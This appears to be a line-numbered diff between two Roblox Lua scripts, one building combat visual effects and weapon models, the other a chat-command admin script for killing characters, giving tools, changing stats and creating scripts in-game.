| 376 | - | for i=0.5,5.5,1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end |
| 376 | + | if string.find(string.lower(c[i].Name),string.lower(name)) == 1 then |
| 377 | - | fism.Scale = fism.Scale+v3(1*sc,1*sc,1*sc) fis.CFrame = pos*cn(0,5*sc,-5*sc)*ca(rd(45),0,0)*ca(rd(-90),rd(-90),0) rip.CFrame=pos*ca(rd(45),0,0) qi({"Fire",fis,Heat=-25,Size=15,Color=bc('Navy blue').Color,SecondaryColor=bc('Navy blue').Color})
|
| 377 | + | char = {c[i]}
|
| 378 | - | local arm = pa(su,"","Block",1,1,1,false,true,0.2,0,"Really green") local armm = it('CylinderMesh',arm)
|
| 378 | + | cnum = cnum + 1 |
| 379 | - | arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc) |
| 379 | + | end end end |
| 380 | - | for i=1,7 do fis.CFrame=fis.CFrame*cn(0,TYMZEH/7,0) |
| 380 | + | if cnum == 1 then |
| 381 | - | arm.CFrame = cn(rip.Position,fis.CFrame*cn(0,-5.5,0).p)*cn(0,0,-(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude/2-0.5)*ca(rd(90),0,0) armm.Scale = v3(4*sc,(rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1,4*sc) |
| 381 | + | return char |
| 382 | - | wait() end local armag = (rip.Position-fis.CFrame*cn(0,-5.5,0).p).magnitude+1 |
| 382 | + | elseif cnum == 0 then |
| 383 | - | for x=45,0,-5 do |
| 383 | + | text("That name is not found.",1,"Message",speaker)
|
| 384 | - | rip.CFrame = pos*ca(rd(x+180),0,0) fis.CFrame=rip.CFrame*cn(0,0,(armag-1)+(5.5*sc))*ca(rd(90),rd(-90),0) |
| 384 | + | return 0 |
| 385 | - | arm.CFrame = rip.CFrame*cn(0,0,((armag-1)/2)+0.5)*ca(rd(90),0,0) |
| 385 | + | elseif cnum > 1 then |
| 386 | - | wait() |
| 386 | + | text("That name is ambiguous.",1,"Message",speaker)
|
| 387 | return 0 | |
| 388 | - | q(function() local cfz = {rip.CFrame,arm.CFrame,fis.CFrame} for i=1,15 do local lolv3=v3(rn(-1*sc,1*sc),rn(-1*sc,1*sc),rn(-1*sc,1*sc)) rip.CFrame=cfz[1]+lolv3 fis.CFrame=cfz[3]+lolv3 arm.CFrame=cfz[2]+lolv3 wait() end
|
| 388 | + | end end end end -- I really like the way the ends look when they're all on the same line better, dont you? |
| 389 | - | for i=armag,0,-armag/15 do armm.Scale =v3(4,i,4) fis.CFrame=rip.CFrame*cn(0,0,(i)+(5.5*sc))*ca(rd(90),rd(-90),0) arm.CFrame = rip.CFrame*cn(0,0,((i-1)/2)+0.5)*ca(rd(90),0,0) wait() end arm:Remove() |
| 389 | + | |
| 390 | - | for i=5.5,0.5,-1 do fism.Scale = v3(8*sc,((8*sc)/5.5)*i,8*sc) fis.CFrame = pos*cn(0,0,-i*sc)*ca(rd(-90),rd(-90),0) wait() end fis:Remove() |
| 390 | + | function createscript(source,par) |
| 391 | - | for i=0.2,1,0.1 do ripm.Scale = ripm.Scale+v3(0.2*sc,0.2*sc,0.2*sc) rip.Transparency = i wait() end rip:Remove() end) |
| 391 | + | local a = sbbu:clone() |
| 392 | - | local rr = 6.5*sc GetRegion(fis.Position-v3(rr,rr,rr),fis.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(fis.Position-v3(0,1*sc,0),v.Torso.Position+v3(0,2,0)).lookVector*75}) Dmgz(false,v.Humanoid,rn(d[1]*2,d[2]*2.5),v.Torso) wait(0.15) bpp:Remove() end,function(v) ForceBrick(v,fis.Position,100) end)
|
| 392 | + | local context = Instance.new("StringValue")
|
| 393 | - | MakeCrater(fis.Position+v3(0,2,0),5,7,10) |
| 393 | + | context.Name = "Context" |
| 394 | - | end) end |
| 394 | + | context.Value = source |
| 395 | - | WormDrill = function(target,sca) q(function() local spiran = rn(-360,360) local slope = {}
|
| 395 | + | context.Parent = a |
| 396 | - | for i=90,-270,-10 do table.insert(slope,cn(target.p)*ca(0,rd(spiran),0)*cn(0,0,30*sca)*ca(rd(i),0,0)*cn(0,0,30*sca)) end |
| 396 | + | while context.Value ~= source do wait() end |
| 397 | - | local mm = it('Model',su) local tr = 0.15
|
| 397 | + | a.Parent = par |
| 398 | - | local worm0 = pa(mm,"","Block",0,60,0,true,true,tr,0,"White") qi({"SpecialMesh",worm0,Scale=v3(9*sca,12*sca,9*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=12137531"})
|
| 398 | + | local b = Instance.new("IntValue")
|
| 399 | - | local worm1 = pa(mm,"","Block",10*sca,6*sca,10*sca,true,true,tr,0,"White") it('CylinderMesh',worm1)
|
| 399 | + | b.Name = "Is A Created Script" |
| 400 | - | local worm2 = pa(mm,"","Block",9.5*sca,6*sca,9.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm2)
|
| 400 | + | b.Parent = a |
| 401 | - | local worm3 = pa(mm,"","Block",9*sca,6*sca,9*sca,true,true,tr,0,"White") it('CylinderMesh',worm3)
|
| 401 | + | end |
| 402 | - | local worm4 = pa(mm,"","Block",8.5*sca,6*sca,8.5*sca,true,true,tr,0,"White") it('CylinderMesh',worm4)
|
| 402 | + | |
| 403 | - | local worm5 = pa(mm,"","Block",8*sca,6*sca,8*sca,true,true,tr,0,"White") it('CylinderMesh',worm5)
|
| 403 | + | function text(message,duration,type,object) |
| 404 | - | local worm6 = pa(mm,"","Block",7.2*sca,6*sca,7.2*sca,true,true,tr,0,"White") qi({"SpecialMesh",worm6,Scale=v3(4*sca,18.5*sca,4*sca),MeshType="FileMesh",MeshId="http://www.roblox.com/asset/?id=1033714"})
|
| 404 | + | local m = Instance.new(type) |
| 405 | - | for i=1,#slope-6 do if i+6 == 10 then MakeCrater(slope[i+6].p+v3(0,10,0),13,9,20) end if i+5 == 27 then local rr = 8*sca GetRegion(slope[i+5].p-v3(rr,rr,rr),slope[i+5].p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(slope[i+5].p,v.Torso.Position+v3(0,2,0)).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*3.5,v.Torso) wait(0.2) bpp:Remove() end,function(v) ForceBrick(v,slope[i+5].p,150) end) MakeCrater(slope[i+5].p+v3(0,10,0),13,9,20) end
|
| 405 | + | m.Text = message |
| 406 | - | worm0.CFrame = slope[i+6]*ca(rd(160),0,0)*ca(0,rd(0),0)*cn(0,5*sca,0) worm1.CFrame = slope[i+5] worm2.CFrame = slope[i+4] worm3.CFrame = slope[i+3] worm4.CFrame = slope[i+2] worm5.CFrame = slope[i+1] worm6.CFrame = slope[i]*ca(rd(180),0,0)*cn(0,4*sca,0) wait(0.04) end |
| 406 | + | m.Parent = object |
| 407 | - | worm0:Remove() worm1:Remove() worm2:Remove() worm3:Remove() worm4:Remove() worm5:Remove() worm6:Remove() |
| 407 | + | wait(duration) |
| 408 | - | end) end |
| 408 | + | if m.Parent ~= nil then |
| 409 | - | SpawnTornado = function(pos,sc,ski,tyms) q(function() |
| 409 | + | m:remove() |
| 410 | - | local tor = pa(su,"","Block",0,0,0,true,true,1,0,"White") qi({"SpecialMesh",tor,Scale=v3(6.4*sc,8*sc,6.5*sc),MeshType="FileMesh",MeshId=Decs.Tornado})
|
| 410 | + | end end |
| 411 | - | tor.CFrame = pos q(function() for i=1,0.2,-0.1 do tor.Transparency = i wait() end end) |
| 411 | + | |
| 412 | - | local zz = 0 local tpos = tor.Position |
| 412 | + | function foc(msg,speaker) |
| 413 | - | q(function() while tor.Parent do zz = zz+1 |
| 413 | + | if string.lower(msg) == "fix" then |
| 414 | - | tor.CFrame = pos*cn(0,0,-zz/2.6)*ca(0,rd(zz*5),0)*cn(0,0,zz*ski/30)*ca(0,rd(zz*25),0) wait() |
| 414 | + | for i =1,#namelist do |
| 415 | - | local rr = 7*sc GetRegion(tor.Position-v3(rr,rr,rr),tor.Position+v3(rr,rr,rr),function(v) if v.Torso:findFirstChild("SRP") == nil then local bp = qi({"BodyPosition",v.Torso,Name="SRP",maxForce=v3(1/0,1/0,1/0),position=tor.CFrame*cn(0,0,-11*sc).p}) while tor.Parent do v.Humanoid.PlatformStand=true bp.position=tor.CFrame*cn(0,0,8*sc).p
|
| 415 | + | if namelist[i] == speaker.Name then |
| 416 | - | if rn(1,6) == 2 then v.Humanoid.Sit = true Dmgz(false,v.Humanoid,rn(1,2),v.Torso) end |
| 416 | + | variablelist[i]:disconnect() |
| 417 | - | wait() end bp:Remove() local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(v.Torso.Position,to.Position+v3(0,30,0)).lookVector*135}) wait(0.4) bpp:Remove() wait(2.5) v.Humanoid.PlatformStand = false else end end)
|
| 417 | + | table.remove(variablelist,i) |
| 418 | - | end end) |
| 418 | + | table.remove(namelist,i) |
| 419 | - | wait(tyms) tpos = tor.Position local torm = tor.Mesh.Scale tor:Remove() GlowMesh(false,Decs.Tornado,t,torm*3,'Navy blue',cn(tpos),0.2,1,0.05) |
| 419 | + | table.remove(flist,i) |
| 420 | - | end) end |
| 420 | + | end end |
| 421 | - | function CrownSwords(pos) q(function() |
| 421 | + | local tfv = speaker.Chatted:connect(function(msg) oc(msg,speaker) end) |
| 422 | - | local hol = pa(su,"","Block",1,1,1,false,true,0.1,0,"White") qi({"SpecialMesh",hol,MeshType="Sphere"})
|
| 422 | + | table.insert(namelist,speaker.Name) |
| 423 | - | hol.CFrame = pos for i=1,6 do hol.Size=v3(1,1,i*5) hol.CFrame=pos*cn(0,0,(5*i)/2) wait() end |
| 423 | + | table.insert(variablelist,tfv) |
| 424 | - | for i=1,6 do hol.Size=v3(i*5,1,30) hol.CFrame=pos*cn(0,0,15) wait() end |
| 424 | + | local tfv = speaker.Chatted:connect(function(msg) foc(msg,speaker) end) |
| 425 | - | local swr = {} for i=1,14 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr,swor) end
|
| 425 | + | table.insert(flist,tfv) |
| 426 | - | local swr2 ={} for i=1,8 do local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(4,4,4),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)}) ti(swr2,swor) end
|
| 426 | + | end end |
| 427 | - | local swor = pa(su,"","Block",0,0,0,false,true,0.2,0,"White") qi({"SpecialMesh",swor,MeshType="FileMesh",Scale=v3(10,14,7.5),MeshId=Decs.SplinteredSky,TextureId=Decs.SplinteredSkyT,VertexColor=v3(0,0,0.8)})
|
| 427 | + | |
| 428 | - | q(function() for i=1,20 do |
| 428 | + | function Blobbie244(name) |
| 429 | - | swor.CFrame=hol.CFrame*cn(0,(i*3.5)-5.5,0)*ca(rd(90),0,0) |
| 429 | + | for i =1,#adminlist do |
| 430 | - | wait() end end) |
| 430 | + | if adminlist[i] == name then |
| 431 | - | for i2,v in pairs(swr) do q(function() for i=1,20 do |
| 431 | + | return true |
| 432 | - | v.CFrame=hol.CFrame*ca(0,rd(((360/14)*i2)+i*6),0)*cn(0,(i*0.32)-5.5,10)*ca(rd(-90+(91/20*i)),0,0) |
| 432 | + | end end |
| 433 | - | wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end |
| 433 | + | return false |
| 434 | - | for i2,v in pairs(swr2) do q(function() for i=1,20 do |
| 434 | + | end |
| 435 | - | v.CFrame=hol.CFrame*ca(0,rd(((360/8)*i2)+i*-8),0)*cn(0,(i*1)-5.5,6)*ca(rd(-90+(135/20*i)),0,0) |
| 435 | + | |
| 436 | - | wait() end FireObj(v,cn(v.Position,v.CFrame*cn(0,0,-2).p),ca(0,0,0),8,20,6,function(h) ProjHit1(v,h,1.2) end,8) end) end for i=1,20 do wait() end local holp = hol.CFrame fade(hol,0.1) |
| 436 | + | function oc(msg,speaker) |
| 437 | - | for i=20*3.5,0,-20*3.5/12 do |
| 437 | + | |
| 438 | - | swor.CFrame = hol.CFrame*cn(0,i-1,0)*ca(rd(90),0,0) GlowMesh(false,Decs.Crown,t,v3(5,10,5),'Navy blue',swor.CFrame*ca(rd(-90),0,0),0.1,1,0.1) |
| 438 | + | if string.sub(string.lower(msg),1,5) == "kill/" then--This part checks if the first part of the message is kill/ |
| 439 | - | wait() end local rr = 25 GetRegion(holp.p-v3(rr,rr,rr),holp.p+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(holp.p,v.Torso.Position).lookVector*120}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*1.8,v.Torso) wait(0.24) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end)
|
| 439 | + | local player = findplayer(string.sub(msg,6),speaker)--This part refers to the findplayer function for a list of people associated with the input after kill/ |
| 440 | - | for i=0,7.5,2.5 do GlowMesh(false,Decs.Ring,t,v3(85-i,85-i,60-i),'Navy blue',hol.CFrame*cn(0,3,0)*ca(rd(-90),0,0),0.1,1,0.05) wait(0.1) end |
| 440 | + | if player ~= 0 then--This part makes sure that the findplayer function found someone, as it returns 0 when it hasnt |
| 441 | - | wait(5) fade(swor,0.02) |
| 441 | + | for i = 1,#player do--This part makes a loop, each different loop going through each player findplayer returned |
| 442 | - | end) end |
| 442 | + | if player[i].Character ~= nil then--This part makes sure that the loop's current player's character exists |
| 443 | - | function SpawnDeathBlock(pos,rootvel,sc) q(function() |
| 443 | + | local human = player[i].Character:FindFirstChild("Humanoid")--This part looks for the Humanoid in the character
|
| 444 | - | local bl = pa(su,"","Block",9.5*sc,12*sc,4*sc,true,true,0.05,0,"Really black") local rca = ca(rd(rn(-6,6)),rd(rn(-6,6)),rd(rn(-6,6))) |
| 444 | + | if human ~= nil then--This part makes sure the line above found a humanoid |
| 445 | - | local sk = pa(su,"","Block",0,0,0,false,true,0.05,0,"Really black") qi({"SpecialMesh",sk,Scale=v3(2*sc,2*sc,0.8*sc),MeshType="FileMesh",MeshId=Decs.Skull1})
|
| 445 | + | human.Health = 0--This part makes the humanoid's health 0 |
| 446 | - | bl.Touched:connect(function(v) if v.Parent == c or v.Parent == su or v.Parent:findFirstChild("Humanoid") == nil or v.Parent:findFirstChild("Torso") == nil then return end
|
| 446 | + | end end end end end--This line contains the ends for all the if statements and the for loop |
| 447 | - | GlowMesh(false,"Sphere",t,v3(12,12,12),'Navy blue',v.CFrame,0.1,1,0.1) |
| 447 | + | |
| 448 | - | local bpp = qi({"BodyVelocity",v.Parent.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(rootvel,v.Parent.Torso.Position+v3(0,7.5,0)).lookVector*80}) Dmgz(false,v.Parent.Humanoid,rn(d[1],d[2])*0.2,v.Parent.Torso) wait(0.2) bpp:Remove()
|
| 448 | + | if string.sub(string.lower(msg),1,2) == "m/" then |
| 449 | - | end) |
| 449 | + | text(speaker.Name .. ": " .. string.sub(msg,3),2,"Message",game.Workspace) |
| 450 | - | for i=0,1,0.1 do bl.CFrame=pos*cn(0,(-5*sc)+(9*i),0)*rca sk.CFrame=bl.CFrame*cn(0,0,-2.1*sc) wait() end |
| 450 | + | end |
| 451 | - | wait(rn(23,30)) |
| 451 | + | |
| 452 | - | for i,v in pairs({{"Navy blue",v3(30,30,30)},{"Really black",v3(20,20,20)}}) do GlowMesh(false,"Sphere",t,v[2],v[1],bl.CFrame,0.1,1,0.1) end
|
| 452 | + | if string.sub(string.lower(msg),1,2) == "h/" then |
| 453 | - | local rr = 8 GetRegion(bl.Position-v3(rr,rr,rr),bl.Position+v3(rr,rr,rr),function(v) local bpp = qi({"BodyVelocity",v.Torso,maxForce=v3(1/0,1/0,1/0),velocity=cn(bl.Position,v.Torso.Position).lookVector*80}) Dmgz(false,v.Humanoid,rn(d[1],d[2])*0.5,v.Torso) wait(0.1) bpp:Remove() end,function(v) ForceBrick(v,holp.p,150) end)
|
| 453 | + | text(speaker.Name .. ": " .. string.sub(msg,3),2,"Hint",game.Workspace) |
| 454 | - | fade(bl,0.1) fade(sk,0.1) |
| 454 | + | end |
| 455 | - | end) end |
| 455 | + | |
| 456 | - | ---- TUT01LOL |
| 456 | + | if string.sub(string.lower(msg),1,2) == "c/" then--Dontcha wish pcall was more reliable? |
| 457 | - | han = pa(su,"","Block",0.4,0.4,0.4,false,false,0,0,"White") it('CylinderMesh',han)
|
| 457 | + | createscript(string.sub(msg,3),game.Workspace) |
| 458 | - | hanw = qi({"Weld",han,Part0=t,Part1=han,C0=cn(0.7,-0.7,0.65)*ca(0,0,rd(45))*ca(0,rd(90),0)})
|
| 458 | + | end |
| 459 | - | han2 = pa(su,"","Block",0.35,4,0.35,false,false,0,0,"Black") it('CylinderMesh',han2)
|
| 459 | + | |
| 460 | - | han2w = qi({"Weld",han2,Part0=han,Part1=han2,C0=cn(0,1,0)})
|
| 460 | + | local msg = string.lower(msg) |
| 461 | - | han3 = pa(su,"","Block",0,0,0,false,false,0,1,"White") qi({"SpecialMesh",han3,MeshType="Sphere",Scale=v3(0.4,0.4,0.4)*5})
|
| 461 | + | |
| 462 | - | han3w = qi({"Weld",han2,Part0=han2,Part1=han3,C0=cn(0,-2,0)})
|
| 462 | + | if string.sub(msg,1,5) == "give/" then |
| 463 | - | han4 = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han4,MeshType="Sphere",Scale=v3(0.5,0.7,0.2)*5})
|
| 463 | + | local danumber1 = nil |
| 464 | - | han4w = qi({"Weld",han2,Part0=han3,Part1=han4,C0=ca(0,rd(90),0)})
|
| 464 | + | for i = 6,100 do |
| 465 | - | for i=1,7 do |
| 465 | + | if string.sub(msg,i,i) == "/" then |
| 466 | - | des = pa(su,"","Block",0.4,0.2,0.4,false,false,0,0,"White") it('CylinderMesh',des).Scale = v3(1,0.4,1)
|
| 466 | + | danumber1 = i |
| 467 | - | desw = qi({"Weld",han,Part0=han2,Part1=des,C0=cn(0,-0.9+(i/3),0)*ca(rd(rn(-15,15)),0,rd(rn(-15,15)))})
|
| 467 | + | break |
| 468 | elseif string.sub(msg,i,i) == "" then | |
| 469 | - | for i=0,270,90 do |
| 469 | + | break |
| 470 | - | des = pa(su,"","Block",0,0,0,false,false,0,0,"") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.1,0.4,0.1),MeshId=Decs.Spike})
|
| 470 | + | end end |
| 471 | - | desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=ca(0,rd(i),0)*cn(0,1.8,0.3)*ca(rd(90),0,0)})
|
| 471 | + | if danumber1 == nil then return end |
| 472 | local it = nil | |
| 473 | - | han5 = pa(su,"","Block",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han5,MeshType="Sphere",Scale=v3(0.35,0.6,0.35)*5})
|
| 473 | + | local all = true |
| 474 | - | han5w = qi({"Weld",han2,Part0=han2,Part1=han5,C0=cn(0,2,0)})
|
| 474 | + | if string.sub(string.lower(msg),danumber1 + 1,danumber1 + 4) ~= "all" then |
| 475 | - | han6 = pa(su,"","Wedge",0,0,0,false,false,0,0,"Black") qi({"SpecialMesh",han6,MeshType="Wedge",Scale=v3(0.1,1,0.5)*5})
|
| 475 | + | all = false |
| 476 | - | han6w = qi({"Weld",han2,Part0=han2,Part1=han6,C0=cn(0,2.4,0.05)*ca(rd(10),0,0)})
|
| 476 | + | local itnum = 0 |
| 477 | - | han7 = pa(su,"","Block",0,0,0,false,false,0,1,"") qi({"SpecialMesh",han7,MeshType="FileMesh",Scale=v3(0.75,0.75,2),MeshId=Decs.Ring})
|
| 477 | + | local c = tools:GetChildren() |
| 478 | - | han7w = qi({"Weld",han2,Part0=han2,Part1=han7,C0=cn(0,2.9,0)*ca(0,rd(90),0)})
|
| 478 | + | for i2 = 1,#c do |
| 479 | - | han8 = pa(su,"","Block",0,0,0,false,false,0.3,0.1,"White") qi({"SpecialMesh",han8,MeshType="Sphere",Scale=v3(0.7,0.7,0.7)*5})
|
| 479 | + | if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1)) == 1 then |
| 480 | - | han8w = qi({"Weld",han2,Part0=han2,Part1=han8,C0=cn(0,2.9,0)*ca(0,0,0)})
|
| 480 | + | it = c[i2] |
| 481 | - | han9 = pa(su,"","Block",0,0,0,false,false,0,0,"Institutional white") qi({"SpecialMesh",han9,Scale=v3(0.25,1,0.25),MeshType="FileMesh",MeshId = Decs.Chakram3})
|
| 481 | + | itnum = itnum + 1 |
| 482 | - | han9w = qi({"Weld",han2,Part0=han2,Part1=han9,C0=cn(0,2.9,0)*ca(0,0,rd(90))})
|
| 482 | + | end end |
| 483 | - | q(function() while true do wait(0.035) han9w.C0 = han9w.C0 *ca(0,rd(10),0) end end) |
| 483 | + | if itnum ~= 1 then return end |
| 484 | - | for i=0,2 do |
| 484 | + | else |
| 485 | - | des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond})
|
| 485 | + | all = true |
| 486 | - | desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,2.1+(i/2.1),0.6+(i/5))*ca(rd(150-(i*30)),0,0)})
|
| 486 | + | end |
| 487 | local player = findplayer(string.sub(msg,6,danumber1 - 1),speaker) | |
| 488 | - | des = pa(su,"","Block",0,0,0,false,false,0,0.05,"Really black") qi({"SpecialMesh",des,MeshType="FileMesh",Scale=v3(0.2,1,0.2),MeshId=Decs.Diamond})
|
| 488 | + | if player ~= 0 then |
| 489 | - | desw = qi({"Weld",han2,Part0=han2,Part1=des,C0=cn(0,3.6,0.7)*ca(rd(50),0,0)})
|
| 489 | + | for i = 1,#player do |
| 490 | - | bla = pa(su,"","Wedge",0.2,1,2,false,false,0,1,"") qi({"SpecialMesh",bla,Scale=v3(0.56,1,1),MeshType="Wedge"})
|
| 490 | + | local bp = player[i]:FindFirstChild("Backpack")
|
| 491 | - | blaw = qi({"Weld",han2,Part0=han8,Part1=bla,C0=cn(0,0.5,-1.2)*ca(rd(30),0,0)})
|
| 491 | + | if bp ~= nil then |
| 492 | - | bla2 = pa(su,"","Wedge",0.2,0.7,2,false,false,0,1,"") qi({"SpecialMesh",bla2,Scale=v3(0.53,1,1),MeshType="Wedge"})
|
| 492 | + | if all == false then |
| 493 | - | bla2w = qi({"Weld",han2,Part0=bla,Part1=bla2,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)})
|
| 493 | + | it:clone().Parent = bp |
| 494 | - | bla3 = pa(su,"","Wedge",0.2,0.4,2,false,false,0,1,"") qi({"SpecialMesh",bla3,Scale=v3(0.5,1,1),MeshType="Wedge"})
|
| 494 | + | else |
| 495 | - | bla3w = qi({"Weld",han2,Part0=bla2,Part1=bla3,C0=cn(0,-0.5,-0.75)*ca(rd(-20),0,0)})
|
| 495 | + | local c = tools:GetChildren() |
| 496 | - | han10 = pa(su,"","Block",0,0,0,false,false,0,1,"Really black") it('CylinderMesh',han10).Scale = v3(1.2,0.57,1.2)
|
| 496 | + | for i2 = 1,#c do |
| 497 | - | han10 = qi({"Weld",han2,Part0=bla,Part1=han10,C0=cn(0,-0.37,1.35)*ca(0,0,rd(90))})
|
| 497 | + | c[i2]:clone().Parent = bp |
| 498 | - | han11 = pa(su,"","Block",0.2,0.37,0.7,false,false,0,1,"") it('BlockMesh',han11).Scale = v3(0.48,1,0.9)
|
| 498 | + | end end end end end end |
| 499 | - | han11 = qi({"Weld",han2,Part0=bla,Part1=han11,C0=cn(0,-0.32,1.3)})
|
| 499 | + | |
| 500 | - | --http://www.roblox.com/Knights-of-the-Seventh-Sanctum-Sword-and-Shield-item?id=60357959 |
| 500 | + | --Bored... |
| 501 | - | raa = c["Right Arm"] |
| 501 | + | |
| 502 | - | laa = c["Left Arm"] |
| 502 | + | if string.sub(msg,1,7) == "change/" then |
| 503 | - | clawa1 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
|
| 503 | + | local danumber1 = nil |
| 504 | - | clawa1w = qi({"Weld",han2,Part0=laa,Part1=clawa1,C0=ca(rd(180),0,0)*cn(-0.2,1.25,0)})
|
| 504 | + | local danumber2 = nil |
| 505 | - | clawa2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",clawa2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
|
| 505 | + | for i = 8,100 do |
| 506 | - | clawa2w = qi({"Weld",han2,Part0=laa,Part1=clawa2,C0=ca(rd(180),0,0)*cn(0.2,1.25,0)})
|
| 506 | + | if string.sub(msg,i,i) == "/" then |
| 507 | - | clawb1 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb1,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
|
| 507 | + | danumber1 = i |
| 508 | - | clawb1w = qi({"Weld",han2,Part0=clawa1,Part1=clawb1,C0=cn(0,0.15,0)})
|
| 508 | + | break |
| 509 | - | clawb2 = pa(su,"","Block",0,0,0,false,false,0,0.4,"White") qi({"SpecialMesh",clawb2,MeshType="FileMesh",Scale=v3(0.12,0.8,0.12),MeshId=Decs.Spike})
|
| 509 | + | elseif string.sub(msg,i,i) == "" then |
| 510 | - | clawb2w = qi({"Weld",han2,Part0=clawa2,Part1=clawb2,C0=cn(0,0.15,0)})
|
| 510 | + | break |
| 511 | - | badge = pa(su,"","Block",0,0,0,false,false,0,0,"Really red") qi({"SpecialMesh",badge,MeshType="FileMesh",Scale=v3(0.15,1,0.5),MeshId=Decs.Diamond})
|
| 511 | + | end end |
| 512 | - | badgew = qi({"Weld",han2,Part0=laa,Part1=badge,C0=cn(-0.5,0,0)*ca(rd(25),0,0)})
|
| 512 | + | if danumber1 == nil then return end |
| 513 | - | badge2 = pa(su,"","Block",0,0,0,false,false,0,0,"Really black") qi({"SpecialMesh",badge2,MeshType="FileMesh",Scale=v3(0.149,1,0.495),MeshId=Decs.Diamond})
|
| 513 | + | for i =danumber1 + 1,danumber1 + 100 do |
| 514 | - | badge2w = qi({"Weld",han2,Part0=badge,Part1=badge2})
|
| 514 | + | if string.sub(msg,i,i) == "/" then |
| 515 | - | ef = pa(su,"","Block",0,0,0,false,true,1,1,"Black") qi({"SpecialMesh",ef,MeshType="FileMesh",Scale=v3(7,7,4),MeshId=Decs.Chakram2})
|
| 515 | + | danumber2 = i |
| 516 | - | --efw = qi({"Weld",han2,Part0=t,Part1=ef,C0=cn(0,-2.9,0)*ca(rd(90),0,0)})
|
| 516 | + | break |
| 517 | - | db1 = pa(su,"","Block",0,0,0,false,false,1,0,"White") qi({"SpecialMesh",db1,MeshType="Sphere",Scale=v3(1,1,1)*5})
|
| 517 | + | elseif string.sub(msg,i,i) == "" then |
| 518 | - | db1w = qi({"Weld",han2,Part0=laa,Part1=db1,C0=cn(0,-2,0)})
|
| 518 | + | break |
| 519 | - | db2 = pa(su,"","Block",0,0,0,false,false,1,0.1,"White") qi({"SpecialMesh",db2,MeshType="Sphere",Scale=v3(1.2,1.2,1.2)*5})
|
| 519 | + | end end |
| 520 | - | db2w = qi({"Weld",han2,Part0=db1,Part1=db2,C0=cn(0,0,0)})
|
| 520 | + | if danumber2 == nil then return end |
| 521 | - | local ebs = false |
| 521 | + | local player = findplayer(string.sub(msg,8,danumber1 - 1),speaker) |
| 522 | - | function eb(wutarm,aa,siz) if not siz then siz = 1 end q(function() db1.Mesh.Scale=v3(siz,siz,siz)*5 db1w.Part0 = wutarm db1w.C0 = cn(0,-1+(-siz/1.25),0) if not ebs then ebs = true |
| 522 | + | if player ~= 0 then |
| 523 | - | if aa then db1.Transparency = 0.1 else for i=1,0.1,-0.1 do db1.Transparency = i wait() end end |
| 523 | + | for i = 1,#player do |
| 524 | - | else |
| 524 | + | local ls = player[i]:FindFirstChild("leaderstats")
|
| 525 | - | ebs = false if aa then db1.Transparency = 1 else for i=0.1,1,0.1 do db1.Transparency = i wait() end end |
| 525 | + | if ls ~= nil then |
| 526 | - | end end) end |
| 526 | + | local it = nil |
| 527 | - | local efm = ef.Mesh.Scale |
| 527 | + | local itnum = 0 |
| 528 | - | function e(aa) if aa ~= nil then ef.Mesh.Scale=efm*aa else ef.Mesh.Scale=efm end if ef.Transparency < 0.4 then |
| 528 | + | local c = ls:GetChildren() |
| 529 | - | for i=0.3,1,0.1 do ef.Transparency = i wait() end |
| 529 | + | for i2 = 1,#c do |
| 530 | - | else |
| 530 | + | if string.find(string.lower(c[i2].Name),string.sub(string.lower(msg),danumber1 + 1,danumber2 - 1)) == 1 then |
| 531 | - | q(function() for i=1,0.3,-0.1 do ef.Transparency = i wait() end end) |
| 531 | + | it = c[i2] |
| 532 | itnum = itnum + 1 | |
